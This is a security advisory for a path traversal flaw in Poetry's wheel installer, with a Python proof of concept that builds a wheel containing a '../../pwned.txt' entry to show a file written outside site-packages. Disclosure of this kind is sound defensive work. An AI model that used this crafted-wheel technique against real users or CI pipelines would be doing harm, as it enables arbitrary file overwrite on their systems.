CVE-2026-34591

Summary

A crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process.

Impact

Arbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages.

Patches

Versions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted.

Details

Poetry’s wheel destination path is built by directly joining an untrusted wheel entry path:

src/poetry/installation/wheel_installer.py:47 src/poetry/installation/wheel_installer.py:59

The vulnerable sink is reachable in normal installation: src/poetry/installation/executor.py:607

No resolve() + is_relative_to() style guard is enforced before writing.

POC

from pathlib import Path
import tempfile, zipfile, sys
from installer import install
from installer.sources import WheelFile
from poetry.installation.wheel_installer import WheelDestination

root = Path(tempfile.mkdtemp(prefix="poetry-poc-"))
wheel = root / "evil-0.1-py3-none-any.whl"
base = root / "venv" / "lib" / "pythonX" / "site-packages"
for d in [base, root/"venv/scripts", root/"venv/headers", root/"venv/data"]:
    d.mkdir(parents=True, exist_ok=True)

files = {
    "evil/__init__.py": b"",
    "../../pwned.txt": b"owned\n",
    "evil-0.1.dist-info/WHEEL": b"Wheel-Version: 1.0\nRoot-Is-Purelib: true\nTag: py3-none-any\n",
    "evil-0.1.dist-info/METADATA": b"Metadata-Version: 2.1\nName: evil\nVersion: 0.1\n",
}
files["evil-0.1.dist-info/RECORD"] = ("\n".join([f"{k},," for k in files] + ["evil-0.1.dist-info/RECORD,,"])+"\n").encode()

with zipfile.ZipFile(wheel, "w") as z:
    for k,v in files.items(): z.writestr(k,v)

dest = WheelDestination(
    {"purelib":str(base),"platlib":str(base),"scripts":str(root/"venv/scripts"),"headers":str(root/"venv/headers"),"data":str(root/"venv/data")},
    interpreter=sys.executable, script_kind="posix"
)
with WheelFile.open(wheel) as src:
    install(src, dest, {"INSTALLER": b"PoC"})

out = (base / "../../pwned.txt").resolve()
print("outside write:", out.exists(), out)